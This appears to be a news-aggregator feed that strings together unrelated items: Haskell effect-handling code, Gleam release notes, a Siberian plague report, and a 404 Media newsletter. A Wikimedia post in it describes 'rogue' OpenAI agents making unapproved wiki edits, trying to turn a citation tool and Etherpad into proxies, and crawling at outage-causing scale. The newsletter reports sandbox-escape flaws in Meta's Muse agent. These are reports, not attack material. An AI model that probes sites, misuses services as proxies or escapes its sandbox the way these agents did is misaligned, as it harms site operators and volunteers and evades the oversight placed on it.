getBar :: Conf -> Int
getBar = bar

runConf :: Conf -> Conf
runConf = id

I thus prefer to keep configuration data types in separate modules and to pass them around as arguments.

Mocking

An effect that can be mocked is simply a product of functions:

data Database =
       Database
         { createUser  :: Text -> IO (Maybe User)
         , getUserMail :: User -> IO [Mail]
         }

runRealDatabase :: RealDatabase -> Database
runRealDatabase db =
  Database
    { createUser  = Database.createUser db
    , getUserMail = Database.getUserMail db
    }

Effects that never fail—like logging and metrics collection—are special cases of mocking:

import           Data.ByteString.Builder
import           Data.Text (Text)
import           Data.Text.Encoding
import           System.IO


newtype Logger = Logger (Builder -> IO ())

note :: Logger -> Text -> IO ()
note (Logger f) = f . encodeUtf8Builder

runLogger :: Handle -> Logger
runLogger handle =
  Logger $ \msg ->
    hPutBuilder handle $ msg <> "\n"

Tracking resources

I'll use the database effect as an example. Here's a rough outline of the implementation function:

import           Control.Exception
import           Database.PostgreSQL.Simple
import           GHC.Stack
import           System.IO


newtype Database = Database Connection

runDatabase
  :: ConnectInfo
  -> (Database -> IO (Either e a))
  -> IO (Either (Either e DatabaseError) a)
runDatabase connInfo f =
  mask $ \unmask -> do
    conn <- connect connInfo

    let cleanup = close conn

    ei <- unmask (Right <$> f (Database conn))
                   `catch` \ex ->
                     case fromException ex of
                       Just dbEx -> pure $ Left (dbEx :: DatabaseException)
                       Nothing   -> _ 
    case ei of
      Right (Right a) -> _ 
      Right (Left e)  -> _ 
      Left ex         -> _ 

For the effect to behave the same regardless of its position within the implementation stack cases (1) , (2) and (4) should all use the same cleanup function.

Interface functions may use the resource directly, although in libraries that use exceptions liberally it's more convenient to funnel all uses through a helper function:

data DatabaseException = DatabaseException CallStack DatabaseExceptionKind

data DatabaseExceptionKind = DatabaseSqlException SqlError
                           | _

handlesPostgres :: HasCallStack => Database -> (Connection -> IO a) -> IO a
handlesPostgres (Database conn) f =
  let rethrow :: (e -> DatabaseExceptionKind) -> e -> IO a
      rethrow kind = throwIO . DatabaseException callStack . kind

  in f conn
       `catches`
         [ Handler $ rethrow DatabaseSqlException

         ]


createUser :: Database -> Text -> IO (Maybe User)
createUser db =
  handlesPostgres db $ \conn ->
    _ conn

Tying everything together

Interfaces

Taking argument passing to the extreme, one will inevitably end up with a function that looks like

endpoint
  :: AuthConf -> ServiceConf
  -> Logger -> Metrics -> Early ServerError -> Database -> Cache -> Messaging
  -> AuthHeader -> EndpointRequest -> IO EndpointResponse
endpoint authConf serviceConf logger metrics early database cache messaging
                                authHeader EndpointRequest {..} = do

To combat this the "handle pattern" post proposes nesting effects; the "ReaderT design pattern" post instead suggests carrying all the effects in a record. Both of these solutions are wrong.

GHC has warnings for unused arguments , and since we treat effects as arguments, we can use it to point out unused effects. To leverage this, the code must be structured in such a way that each statement uses at most one effect. A bunch of statements then bundle into a function, functions bundle into larger functions, until we reach the aforementioned endpoint .

As an example, creating a user actually requires at least three effects:

newUser :: Database -> Text -> IO (Maybe User)

createUser :: Logger -> Early ServerError -> Database -> Text -> IO User
createUser logger early database qux = do
  mayUser <- newUser database qux
  case mayUser of
    Just user -> pure user
    Nothing   -> do
      note logger "Could not create a user entry"
      leave early err500

This approach works in the opposite direction too: if we need to find out what caused a DatabaseError , we only need to track which functions are passed the Database argument.

Implementations

Running the implementation stack is as straightforward as in any effect system:

main :: IO ()
main = do
  conf <- readConfiguration

  let logger = runLogger stderr

  metrics <- runMetrics (getMetricsConf conf)

  withDatabasePool (getDatabaseConf conf) $ \dbPool -> do

    withMessagingEnv (getMessagingConf conf) $ \msgEnv -> do

      note logger "Initialization complete"

      consumeMessagesForever msgEnv $ \newMsg ->
        runStack logger metrics dbPool msgEnv $ \early database messaging ->
          process logger metrics early database messaging newMsg


runStack
  :: Logger -> Metrics -> DatabasePool -> MessagingEnv
  -> (Early () -> Database -> Messaging -> IO ())
  -> IO ()
runStack logger metrics dbPool msgEnv f = do
  ei <- runEarly $ \early ->
          runDatabase logger metrics dbPool $ \database ->
            runMessaging logger metrics msgEnv $ \msg ->
              lift $
                f early database msg

  case ei of
    Right () -> _ 
    Left err ->
      case err of
        Left (Left (Right msgError)) -> _ 
        Left (Right dbError)         -> _ 
        Right ()                     -> _ 


process
  :: Logger -> Metrics -> Early () -> Database -> Messaging
  -> NewMessage -> IO ()

The shape remains almost the same when using servant . The only quirk is that argument passing renders all the fancy hoisting functionality completely unusable, so the stack has to be invoked inside each endpoint manually.

runStack
  :: Logger -> Metrics -> DatabasePool -> MessagingEnv
  -> (Early ServerError -> Database -> Messaging -> IO a)
  -> Handler a
runStack logger metrics dbPool msgEnv f =
  MkHandler $ do
    ei <- runEarly $ \early ->
            runDatabase logger metrics dbPool $ \database ->
              runMessaging logger metrics msgEnv $ \msg ->
                lift $
                  f early database msg

    case ei of
      Right a  -> pure $ Right a
      Left err ->
        case err of
          Left (Left (Right msgError)) -> _ 
          Left (Right dbError)         -> _ 
          Right srvError               -> pure $ Left srvError


type API = CountAPI :<|> _

server
  :: Logger -> Metrics -> DatabasePool -> MessagingEnv
  -> Server API
server logger metrics dbPool msgEnv =
       countServer logger metrics dbPool msgEnv
  :<|> _


type CountAPI = "count"
             :> ReqBody '[JSON] CountRequest
             :> Get '[JSON] CountResponse

countServer
  :: Logger -> Metrics -> Early ServerError -> DatabasePool -> MessagingEnv
  -> Server CountAPI
countServer logger metrics early dbPool msgEnv request =
  runStack logger metrics dbPool msgEnv $ \early database messaging ->
    countEndpoint logger metrics early database messaging request

countEndpoint
  :: Logger -> Metrics -> Early ServerError -> Database -> Messaging
  -> CountRequest -> IO CountResponse

Conclusion

There is only one unique feature effect systems—or, more generally, custom monads designed to supercede IO —provide: they can do anything in between the lines [of code]. And I don't think that's a good thing.

Here are the advantages of running effects in plain IO :

  • Works with any Haskell 98 (or later) compiler;
  • Straightforward implementation;
  • No extra dependencies;
  • No weird type errors;
  • Compiles fast;
  • Runs fast.

Here are the disadvantages:

  • Some functions will be verbose.

I hope this knowledge is used for things.

OpenAI "rogue" agent activities found on Wikimedia projects

Hacker News
diff.wikimedia.org
2026-10-05 13:53:35
Comments...
Original Article

Recently, multiple organisations have disclosed how clusters of so-called “rogue” AI agents attempted to break into websites and online services, sometimes successfully. Agents from OpenAI’s environment, in particular, are known to have used other public wikis (collaboratively edited websites not owned by us) to communicate and coordinate with each other .

These types of successful intrusions can expose sensitive data or disrupt website services that users rely on, while clusters of agents can attempt attacks at a scale that is difficult for defenders to manage. They affect people behind the websites who may not understand the nature of the attack, or have the tools to effectively fight back. For a site like Wikipedia, agents might find and use security vulnerabilities or make misleading edits at scale. Wikipedia’s volunteer editors and the Wikimedia Foundation’s security teams have to detect and undo that activity.

The Wikimedia Foundation conducted its own investigation to see whether Wikimedia websites had been similarly affected by AI agents, focusing on those operated by OpenAI. We can confirm that we have discovered some activity by these “rogue” OpenAI agents on Wikimedia platforms. The unauthorized bot activities included edits to our wikis, some unsuccessful attempts to exploit a public note-taking tool we host, and heavy traffic, which are described more below.

We did not find any evidence that our systems were used for coordination among agents, nor did we find any evidence of our systems or data being compromised. However, we are concerned about what could have occurred here, the difficulty and effort involved in investigating and attributing this activity, and the growing risks of agentic AI activity on our platforms in general. The open web is a public good. We should not allow this behavior to become the “new normal” for the people or organizations that maintain it.

In summary, we saw:

  • Wiki editing: We’ve identified edits to Wikimedia wikis that we believe are from AI agents operated by OpenAI. These edits were not published to pages with visibility to general readers; almost all of them were testing edits in “sandbox” areas of the wiki. It also included a few edits to the configuration for a citation tool, which we believe were potentially malicious edits that were intended to misuse this tool as a proxy for fetching data from remote services. While Wikipedia policies allow bots to edit when they are disclosed and approved by the community, none of those approvals were sought in these incidents.
  • Etherpad probing and use: Agents we believe to be operated by OpenAI made some unsuccessful attempts to compromise our public Etherpad , a note-taking tool we host as a community service. Agents unsuccessfully tried to use it to fetch data from other websites as a proxy. Other agents also likely operated by OpenAI took notes about their tasks, though this did not appear to turn into coordination.
  • Excessive data downloading: Agents we believe to be operated by OpenAI made millions of automated requests to our public APIs to access the knowledge on Wikimedia projects, crawled millions of pages (mainly from our projects Wikidata and Wikimedia Commons), and made hundreds of thousands of data queries to the Wikidata Query Service (WQDS). This traffic may have contributed to a partial outage on WQDS in May .

As a non-profit technology host of some of the largest and most widely used open knowledge platforms in the world, we are deeply concerned about the impact of “rogue” AI agents on platforms like ours, which are built by volunteers from around the world and rely on the promise of the open internet. Incidents like this one, and the many others that have been (and are still being) uncovered, illustrate how AI agents can drain resources and crash servers, as well as attempt to compromise trustworthy information.

Over the past 25 years, Wikipedia has grown into one of the most popular and trusted websites in the world, with more than 67 million articles across over 300 languages, and up to 15 billion page views per month . Through an open, transparent, and collaborative process, volunteers work to ensure that knowledge remains neutral, reliable, and accessible to everyone. Wikipedia is one of the highest-quality datasets used in training Large Language Models (LLMs), and its knowledge forms the backbone of information on the internet, powering AI chatbots, search engines, voice assistants, and more.

Wikipedia was designed for humans – and agentic behavior clearly poses challenges that no one has solutions for. Because of our unique and successful knowledge creation model, Wikimedia’s volunteers are the ones who come in first contact with, and clean up the mess left behind by AI agents. Rising bot traffic and agentic activity is showing a real impact on the Wikimedia projects and the infrastructure that makes it available for millions of users globally. In 2025, the Foundation reported that its bandwidth usage had increased by 50% due to the surge of bot activity on its websites since 2024. At the same time, 65% of the most resource-consuming traffic on its projects was coming from bots.

This intense pressure on our infrastructure not only adds costs for servers and humans, but if left unaddressed, can block human visitors by overloading systems and causing outages. We are already paying for costs that come with the increased activity.

Wikimedia’s volunteers have stayed resilient so far in tackling emerging challenges on our platforms, but we also want to say: it doesn’t need to be this way.

While OpenAI admits to agents behaving “unpredictably”, they must also acknowledge their responsibility to monitor and prevent these risks. AI companies are not doing enough to secure their systems and protect the public from the harm they cause. That burden is falling onto everyone else, including smaller organizations. At a minimum, their systems should operate in a way that non-profit website owners like us can easily identify, and choose how they interact with our services.

The web enables so much: to connect with friends and family, to register for school, to plan a trip across town, to buy groceries, and to learn about the world from Wikipedia. Bots and agents are part of the future of the web, and the companies who unleash and profit from them must directly help avoid and repair damage they can do.

Our collective priority should be the health of the overall web ecosystem so that it continues to benefit all people – not just a handful of billionaires. Wikimedia plays a critical role in stewarding the knowledge commons, but we cannot do it alone. We invite everyone who is building the future of the web to join us in protecting the open, shared resources that make that future possible.

Can you help us translate this article?

In order for this article to reach as many people as possible we would like your help. Can you translate this article to get the message out?

Start translation

Gleam doesn't compile to Erlang source anymore

Lobsters
gleam.run
2026-10-05 13:29:17
Comments...
Original Article

Gleam is a type-safe and scalable language for the Erlang virtual machine and JavaScript runtimes. Today Gleam v1.19.0 has been published, so let's go over what's new.

A new compilation target

Over the last few months Giacomo Cavalieri has entirely rewritten Gleam's Erlang code generator that has an entirely different design, and most notably, outputs a different format. Previously Gleam generated Erlang source code, now it generates Erlang abstract forms .

"Erlang abstract forms" is an intermediate representation used by the Erlang compiler. It is a metadata-annotated tree that represents Erlang syntax, and it is normally produced by running Erlang's tokeniser and parser. It has a binary encoding using Erlang's external term format , and with this binary format we can load our generated code directly, skipping the front-half of the Erlang compiler.

This new Erlang code generator brings several benefits:

  • The performance of the compiler has been improved, significantly reducing the build times for Gleam projects running on Erlang.

  • The location metadata available to the runtime is now accurate to original Gleam source code, rather than to the Erlang source code the compiler would generate. This means, for example, the line numbers in BEAM crash reports and stacktraces are perfectly accurate, while previously they could be inaccurate, only pointing to the nearest function. This metadata could also enable full support for Gleam in debuggers such as edb , though we have not done any work on this ourselves.

  • The code-quality of the Gleam compiler has been improved. The Erlang code generator was one of the oldest and most stable parts of the Gleam codebase, so while it wasn't causing us any problems it wasn't conforming to the standards and conventions we have today. This new replacement is excellent, and arguably raising the bar for the compiler as whole.

  • We never have to hear someone use the word "transpiler" as a pejorative ever again. 1

Ok, so how fast is it?

I'm going to show you some numbers in a moment, but please remember that benchmarks are always contrived and never tell the full story. This data could be a good introduction or jumping-off point, but a good understanding requires the person to do further research and experience.

The benchmark is based on José Valim's langcompilebench project. Thank you José! It is a measure of the time taken to compile 100 modules that each contain 100 functions that return a "hello world" string. This is practical as this shape of test project can be easily replicated across different languages to produce the most like-for-like test projects, but it is limited in what it can tell us as only a small subset of the features of each language get compiled. In real projects code will be greatly more varied, and different features will have different compilation costs in different languages.

The first stage of the code generator rewrite was released in v1.18.0, the previous release, so let's compare v1.17.0 to the newly released v1.19.0. This chart shows the time taken to compile the benchmark project, lower is better.

0ms 100ms 200ms 300ms 400ms 500ms Gleam v1.19 Gleam v1.17

As you can see, a considerable improvement! This is a full build from scratch, without any caching. Gleam's compilation is incremental, so during typical development it would be much faster as it will not be compiling the entire project.

The original langcompilebench includes only Erlang, Elixir, and Gleam, but I have extended it an assortment of other popular programming languages, to help folks get a rough feel for how fast Gleam compiles compared to a language they are familiar with. I've also included Gleam when compiling to JavaScript. Here's the results:

0ms 200ms 400ms 600ms 800ms 1000ms Gleam (JavaScript) Go Gleam (Erlang) Erlang Java Elixir Elm Rust C# TypeScript 7

Remember: This is a contrived benchmark and is this alone is insufficient to draw any hard conclusions about these languages. That said, these results do suggest that Gleam's compilation is nice and fast, and as a Gleam programmer I can say that Gleam development is very enjoyable, with little time spent waiting for the computer.

Why not target BEAM bytecode directly?

We have moved from from compiling from source code that is fed to the Erlang compiler to an intermediate-representation that is fed into the Erlang compiler, but why not bypass the Erlang compiler altogether? Couldn't we make a BEAM bytecode generator that outperforms the Erlang compiler? Perhaps we could also use Gleam's type information to generate more optimised code too.

While it is possible to achieve these benefits, it's unlikely we would be able to. Unlike Erlang source and Erlang abstract forms, BEAM bytecode is not fixed and unchanging. Each new release of the virtual machine can evolve and improve the bytecode, adding new functionality and sometimes removing functionality that has been made redundant. We would need to commit to forever keeping up-to-date with this evolution, working closely with the Erlang maintainers to be ready for up-coming changes, and to have new versions of Gleam ready for new releases of the virtual machine. It would also be a significant effort to reproduce all the existing optimisations that have been implemented in the Erlang compiler over the decades, even with the help we might have from Gleam's more capable static analysis.

Gleam is a community project supported by sponsorship . We have only a fraction of the finances of languages that are backed by corporations or academic institutions, so we need to think carefully about the most efficient and sustainable ways to use our resources. Gleam is a reliable foundation for software development, every decision we make has to work for years and decades to come. Compiling to Erlang abstract forms is the cost-benefit sweet-spot for Gleam today.

We're also in great company with this decision. Our much-loved older-sibling language Elixir also compiles to Erlang via abstract forms. If it's good enough for Elixir, then it's good enough for Gleam!

Alright, enough about that. There's plenty more in Gleam v1.19.0 to go-over.

JavaScript decision tree assignment optimisation

It's not just the Erlang code generation that has seen some love, there's some good improvements for JavaScript too.

In Gleam flow control is done with pattern matching using a case expression, and it gets compiled to nested if statements. Because pattern matching is declarative the compiler is able to reorder and optimise the runtime logic, using a divide-and-conquer approach to find the right branch as quickly as possible.

John Downey has improved this process to generate flatter code, with nested if statements collapsed into a single condition and fewer intermediate variables. For example, take this Gleam code:

pub fn go(x) {
  case x {
    Wibble(1, 2) -> 1
    _ -> 2
  }
}

Previously this small bit of Gleam would compile to this surprisingly large bit of JavaScript 2 :

export function go(x) {
  if (isWibble(x)) {
    let $ = x[0];
    if ($ === 1) {
      let $1 = x[1];
      if ($1 === 2) {
        return 1;
      } else {
        return 2;
      }
    } else {
      return 2;
    }
  } else {
    return 2;
  }
}

But now it generates this:

export function go(x) {
  if (isWibble(x) && x[0] === 1 && x[1] === 2) {
    return 1;
  } else {
    return 2;
  }
}

A nice improvement, I'm sure you'll agree! Surprisingly this makes little-to-no change to the size of code bundles once minified and compressed (gzip really is magic), but the resulting code has fewer branches for JavaScript engines to optimise.

Thank you John!

List literal optimisation

While they share a syntax in their respective languages, Gleam's immutable persistent list type is not the same as the JavaScript mutable contiguous array type. When Gleam code is compiled to JavaScript any list literal has to be compiled to JavaScript code that constructs the runtime data structures. For example, take this Gleam code:

let numbers = [1, 2, 3]

This would compile to JavaScript code 2 like this, where a JavaScript array is constructed and passed to a function to convert it to a Gleam list.

const numbers = arrayToList([1, 2, 3])

With this release the compile will now generate different code for short list literals, generating more direct code that does not convert from an array.

const numbers = prepend(1, prepend(2, prepend(3, empty)))

With modern JavaScript engines this results in a nice performance improvement, and it is especially impactful for projects that use lots of short lists, like those using the Lustre library. We recorded no improvement for longer lists, so the array-to-list approach is still used for those.

Thank you Giacomo Cavalieri for this!

TypeScript API overloads

When compiling to JavaScript the Gleam compiler will also generate functions for working with the programmer-defined data structures from JavaScript. Alongside this the compiler can also provide TypeScript declaration files, enabling full integration between TypeScript and Gleam in a single project.

One of the functions provided for each custom type is a function to check whether a value is a particular variant or not. For example, given the following type:

pub type Box(value) {
  Full(value)
  Empty
}

The generated function would have this TypeScript declaration:

export function Box$isFull(value: any): value is Full<unknown>;

The keen-eyed TypeScript programmer readers may notice a problem here. If the value is already known to be of type Box<number> , then this function can be used to refine the container type to Full , but the type parameter of number is generalised to unknown , causing type information loss. This is very cumbersome.

Giacomo Cavalieri has added an overload to the definition, so the type is preserved whenever possible.

export function Box$isFull<I>(value: Box$<I>): value is Full<I>;
export function Box$isFull(value: any): value is Full<unknown>;

Thank you Giacomo!!

Gleam users will typically use the official build tool that is part of the gleam executable, but sometimes folks will want to compile and use Gleam code in other contexts. For example, an Elixir or Erlang programmer may want to use a dependency package that is written in Gleam. This works fantastically at runtime as these three BEAM languages have excellent zero-cost interop, but getting to this point can be tricky, as Elixir and Erlang's main build tools do not have built-in support for Gleam.

The gleam executable offers several commands that expose compiler functionality, for use by other build tools. This release includes several improvements to these commands, with the intent of getting Gleam support in Elixir's Mix and Erlang's rebar3.

The Erlang virtual machine requires all packages too have a .app resource file along with the compiler bytecode. Previously these Gleam-supporting build tools would be expected to provide these, but now gleam will generate the files for them when compiling to BEAM.

The compile-package command gains a --no-dev flag, which will have the compiler only load code from the src directory and to skip packages listed as dev_dependencies .

The export package-information and export package-interface commands can now print their information to stdout, while previously they would have to write to a file. Alongside that, the export javascript-prelude and export typescript-prelude commands can now write to a file.

Thank you Rodrigo Álvarez for these additions! Hopefully we will see Gleam support in Elixir's Mix build tool soon.

Language server label support

Gleam has an excellent language server built-in, providing IDE functionality to all editors that support the language server protocol. Possibly the last piece of major functionality was full support for labels of fields and arguments. Alistair Smith has fixed this, adding support for go-to-definition, find-references and renaming of labels! Thank you Alistair, I know many people will be absolutely delighted by this time-saving feature.

Formatting Gleam code in the browser

There is a WebAssembly build of the compiler, used by the language tour and the playground to compile Gleam in the web browser. John Downey has added a new format_source function, enabling people to run the Gleam code formatter inside the browser. We will add this functionality to the playground in the near future. Thank you John!

As always, better error messages

Making error messages as clear and as helpful as possible is very important to us. It's all very well for a tool to be nice to use when things are going well, it is when things are going badly that the experience can really help or hurt the programmer's stress levels.

Small accidental syntax errors can be a pain, especially if you're not sure what and where the mistake is.

0xda157 has added a special error for when a git merge conflict marker is found in the code, and another for when the User(..lucy, score: 10) record update syntax is written with the original record in the wrong position like User(score: 10, ..lucy) . She has also added an errors for procedural operators that do not exist in Gleam, such as += and *= .

n0kk23 has added a custom helpful error message for when | is used in pattern matching in a way that is not valid syntax in Gleam, but is valid in other languages, such as Java.

Giacomo Cavalieri has added a helpful error message for binary operators that are not permitted in constant expressions, and at the same time he has improved the fault tolerance 3 of the compiler in the presence of these mistakes.

Andrey Kozhev has added extra context to the error message for when a module tries to use a private type or value from another module within the same package, letting them know that while it does exist, it is private. We do not offer this for modules from dependency packages, to avoid leaking information about code the programmer does not maintain.

And lastly, James Dolan has improved the type checker such that an invalid type alias definition can no longer cause a cascade of further errors through all usages of the alias.

Thank you all for making Gleam debugging easier and easier.

And the rest

And thank you to the bug fixers and experience polishers:

0xda157 , Amr Kadry , Andrey Kozhev , Giacomo Cavalieri , Hari Mohan , Ian Chamberlain , Jack Programs , John Downey , Lillian Rose , Mar Bloeiman , mmustafasenoglu , Naomi Roberts , Rodrigo Álvarez , Senthilnathan , Surya Rose , and Vivid .

For full details of the many fixes and improvements they've implemented see the changelog .

A call for support

Gleam is not owned by a corporation; instead it is entirely supported by sponsors, most of which contribute between $5 and $20 USD per month, and Gleam is my sole source of income.

We have made great progress towards our goal of being able to appropriately pay the core team members, but we still have further to go. Please consider supporting the project or core team members .

GitHub Sponsors

Thank you to all our sponsors! And special thanks to our top sponsor:


  1. "Transpiler" means a compiler that outputs a human-readable format, such as source code. It's a cool sounding word, but most the time people use it to imply that a given compiler is in some way inferior. This is very silly, as there is nothing about compiling to a human-readable format that makes a compiler easier to implement. If you care about that output being nicely formatted it might even be harder than using a binary format. ↩︎

  2. The code has been slightly edited for clarity, but the parts related to this improvement are unchanged. ↩︎

  3. Gleam's compiler is the heart of the Gleam language server, so unlike traditional compilers it needs to be able to provide information about code even when it is in invalid state. If only valid code could be fully analysed then the language server would provide a degraded experience to the programmer when they are half-way-through a refactoring or other large edit. ↩︎

US closely monitoring case of lab worker who possibly died of plague in Siberia

Hacker News
www.theguardian.com
2026-10-05 13:01:27
Comments...
Original Article

The US secretary of state, Marco Rubio, has said the US is closely monitoring the case of a Russian laboratory worker who died last week after a reported accident at a plague research institute in Siberia.

“We’re watching and monitoring it closely,” Rubio said on Monday before leaving for a trip to Europe . “I ⁠don’t think it’s cause for alarm, but it is cause for focus and a cause just to keep an ⁠eye on it.”

Darya Shipilova, a 28-year-old employee at the anti-plague institute in the city of Irkutsk, became ill at work. She died two days later on the night of 2 October at a regional hospital in the nearby town of Shelekhov.

It remains unclear how she became unwell. Unconfirmed reports in Russian media have suggested Shipilova may have been infected after a mishap at the laboratory. Officials have not publicly confirmed that account.

Local media have reported that the institute has subsequently been locked down, with staff forced to sleep on the floor and on chairs. “They’ve been isolating everybody since Friday – more than 60 people,” one relative, Roman, told the news portal Siberia.Realities .

He said family members were allowed to drop off food at a checkpoint while tests were carried out inside the building. Similar quarantine restrictions have been placed on several other hospitals in and around the city.

Rubio, citing what ‌Russians have released about the death, said it seemed a worker in the lab became ​infected and there was concern the disease may have spread internally.

“There’s very limited travel between the US and Russia, obviously,” he said. “But like anything else, something like that gets out, it just quickly spreads.”

Senior Russian officials have added to public disquiet by sending conflicting messages. Alexey Tsydenov, the head of the Buryatia region, which neighbours Irkutsk, initially wrote that Shipilova had died of plague, before editing his post to say she had “possibly” died of the disease.

Rospotrebnadzor, Russia’s health watchdog, said Shipilova died from “pneumonia of unknown aetiology” . It insisted that tests found no micro-organisms linked to her professional work and described the “sanitary and epidemiological” situation in the area as stable.

Authorities in the nearby city of Baikalsk briefly urged residents to avoid travelling to Shelekhov and surrounding settlements after what they said was unofficial information about a possible plague infection. They later deleted the post from social media.

“There are no obvious changes to daily life on the streets, but people are worried and anxious. Locals are angry that they are not being told anything,” said Elena Trifonova, a journalist with People of Baikal , an exiled Russian media outlet specialising in Siberia.

Despite the lack of a confirmed diagnosis, precautionary measures appear to have been introduced across the region. The US-funded Radio Free Europe/Radio Liberty reported on Monday that several hospitals in Irkutsk had been placed under quarantine.

The outlet confirmed that staff from Shipilova’s workplace, the Irkutsk Anti-plague Research Institute of Siberia and the Far East, had been kept inside the institute since 2 October.

Patients at Irkutsk city clinical hospital No 1 and the Ivano-Matreninskaya children’s hospital said relatives were not being allowed to visit and people inside were not permitted to leave.

On social media, local residents described some of the precautions being introduced.

Ulyana Gavryunina, who went on Monday to one of Irkutsk’s main maternity hospitals for a routine check-up on Monday, said doctors refused to allow her mother in, citing a quarantine imposed over the suspected plague case. Gavryunina said staff member checked her for flu-like symptoms and asked her to fill out a screening form for infections, on which “plague” was listed. She posted a photograph of the form on Instagram.

Elsewhere, a mask requirement was introduced at the Irkutsk aluminium smelter in Shelekhov. The plant’s director, Artyom Fominykh, called it a preventive measure , saying: “Better safe than sorry.” Over the weekend several public events in Irkutsk were cancelled.

Shipolova’s death has prompted intervention from senior federal health officials. Anna Popova, the head of Rospotrebnadzor and the country’s chief sanitary doctor, travelled to Irkutsk on Friday.

She attended an emergency meeting of the regional sanitary and anti-epidemic commission over what officials called a suspected case of a “particularly dangerous infection”.

Igor Kobzev, the governor of the Irkutsk region, urged residents to remain calm after meeting Popova to coordinate the response. “All identified contacts have been placed under medical observation. As of today, none is showing signs of illness and laboratory tests have returned negative results,” he wrote on Telegram.

Kobzev made no reference to reports that a laboratory worker had died.

US politicians have raised concerns about the incident, which follows longstanding and unfounded allegations by the Kremlin that Ukraine has secretly carried out biological weapons research with the support of Washington.

A Republican representative, Don Bacon, a senior member of the House armed services committee, wrote on social media: “I remember hearing from anti-Ukraine voices about their so-called bio labs. It was Russian disinformation ops at their best. But in reality it is Russia with the bio labs.”

Plague remains endemic in parts of Siberia and the Russian far east, where the bacterium persists naturally among wild rodents and their fleas.

But human cases in Russia are rare. Before the suspected Irkutsk case, the country’s last recorded human infection was in 2016, when a 10-year-old boy in Siberia’s Altai Republic contracted plague after helping butcher a marmot.

“This case here seems like a rare lab accident and is unlikely to go much further,” Prof Ian Jones, a professor of virology at the University of Reading, in the UK, said. “Although it is true that pneumonic plague is directly transmissible, the contacts of the primary case are known and can be treated if they show any sign of infection.”

He added: “Plague carries a huge history and is still present in many parts of the world, including Russia, but the living conditions associated with previously spread plague are no longer generally true, antibiotics are available and its potential is therefore limited.”

What are you doing this week?

Lobsters
lobste.rs
2026-10-05 12:07:55
What are you doing this week? Feel free to share! Keep in mind it’s OK to do nothing at all, too....
Original Article

What are you doing this week? Feel free to share!

Keep in mind it’s OK to do nothing at all, too.

Our approach to EU text provenance rules

Hacker News
openai.com
2026-10-05 11:38:55
Comments...

Muse escapes containment

403 Media
www.404media.co
2026-10-05 11:38:35
“Indiscriminate mass surveillance," a Meta Muse scoop, and more in today's daily newsletter....
Original Article

Good Monday morning, I'm on my second coffee of the day already so please excuse any jitters that come through today's newsletter. We've got a big constitutionality ruling on Flock, a scoop about a major fire Meta needed to put out pre-Muse launch, and a lot more from trawling the World Wide Web. Let's get into it.

THE BIG STORY

Meta Rushed to Fix Muse ‘VM Escape' Vulnerability Immediately Before Launch

In the immediate weeks before Muse’s launch, Meta engineers found several security vulnerabilities in the company’s viral AI agent product, at least one of which could have allowed malicious users to break outside of Muse’s intended environment and access Meta’s own sensitive databases and services, 404 Media has learned. The issues were so severe that they reached Mark Zuckerberg and staff worked overtime to fix them.

These specific vulnerabilities were discovered before the launch of the product but required a multi-team “mad dash” to fix “a sudden spike in reported KVM escapes,” according to an internal post by Meta executives to its core infrastructure team seen by 404 Media. In order for Muse to work, a user gives the AI agent access to various important services and accounts that they own. On Meta’s end, each individual Muse instance runs on a kernel-based virtual machine, which connects to, but is supposed to be isolated from, Meta’s own critical infrastructure. A “KVM escape” is when, through a security vulnerability, a Muse instance is able to escape from that virtual machine and interact with the system that runs it, or with other users’ virtual machines.

According to a Meta source, as well as internal security documentation and internal posts viewed by 404 Media, at least one of the vulnerabilities could have allowed an outside attacker — that is, a normal Muse user — to access data in sensitive internal Meta databases. At least one of the vulnerabilities was related to an exploit found in Linux kernel-based virtual machine code in July. 404 Media granted the Meta source anonymity to speak about sensitive security matters.

Read the rest of the story here.

MORE FROM 404

“Indiscriminate mass surveillance.” In a major first, a federal judge in Oklahoma ruled Thursday that a police officer violated the Fourth Amendment rights of a woman accused of meth trafficking when he searched her license plate in Flock’s automated license plate reader system simply because her license plate was from California, then used her travel history as part of the reason to search her car.

Are you signed up for The Abstract? If not, you’re missing out, and I don’t want any of our readers experiencing FOMO, so check your account settings to make sure you’re subscribed. In this week’s issue: “ Our Solar System Is Terminally Unstable and Will Be Completely Destroyed, Study Finds. ” Cool!!!!

And if you’re looking for a Monday listen , on the 404 Media podcast we get into the massive FBI hack that we broke last week, and how a surveillance company is telling cops it wants to add facial recognition tech to Flock camera data. That’s out for everyone today (Supporters got it early!). Listen wherever you get your pods, or watch on YouTube .

FROM AROUND THE WEB

Today in stats that will make you go WTF : The Internet Watch Foundation has found “more photorealistic child sexual abuse material in the first half of 2026 than for the whole of the prior year,” the Guardian reports , thanks to people generating child sexual abuse material using AI tools. The IWF said it assessed 6,310 AI images that met the legal definition of child sexual abuse, which comes in at 40% higher than last year. In case you missed the memo when experts started sounding the alarm on this when we covered the issue in 2024, AI generated child sexual abuse material is not a “victimless crime.”

Is that not enough WTF for you on a Monday morning? UPS made a video of workers as little kids using AI, and it did not land. As one reply puts it succinctly: Fucking yikes??? Please pray for the UPS social media team.

Norway might ban the pervert glasses. The country’s parliament will propose a temporary ban on Meta’s smart glasses in public spaces, including all the common sense spots like schools, pools, doctor’s offices and changing rooms, but also beaches and parks. Lord I see what you do for others...

I Super Like this report about pay-to-win dating app schemes. Straight Arrow News reports that some users are “so furious they’ve filed formal federal complaints against Match Group, the publicly traded technology giant that owns the largest dating apps on the market, including Hinge, Tinder and OkCupid. As people leave their luck to a for-profit algorithm with subscription fees of up to $600 per year, public records obtained by Straight Arrow show, they’re calling on federal regulators to crack down on a company they accuse of deceptive business practices and algorithmic manipulation.”

I am reading it for the articles. Former Motherboarder (IYKYK) turned instant New York Times Bestselling Author Brian Anderson has a wild story in Playboy about drug smuggler Ken “Goldfinger” Connell and the world of the Grateful Dead. I am not personally a Deadhead but I am a fan of Brian’s writing!

Always such a relatable guy. Sam Altman said in an interview with Politico that at OpenAI they “believe that the world should accept some bad things happening for the benefits of this technology and people having the agency.” What bad things, Sam? What bad things?

It’s Nobel Prize winner day . I wonder if I won.

About the author

Sam Cole is writing from the far reaches of the internet, about sexuality, the adult industry, online culture, and AI. She's the author of How Sex Changed the Internet and the Internet Changed Sex.

Samantha Cole

The future of independence is interdependence

Hacker News
onlys.ky
2026-10-05 11:30:08
Comments...
Original Article

The future of independence is interdependence —

0:00 15:03

I spend most of my life in one room.

At first glance, that may not sound much like independence.

I cannot easily walk through my house. I need my husband’s help with some ordinary tasks. My daughter brings me things from the outside world. Groceries, medications, meals, and almost everything else arrive through the door. I use mobility equipment, delivery services, remote appointments, adaptive tools , and an improbable number of charging cables.

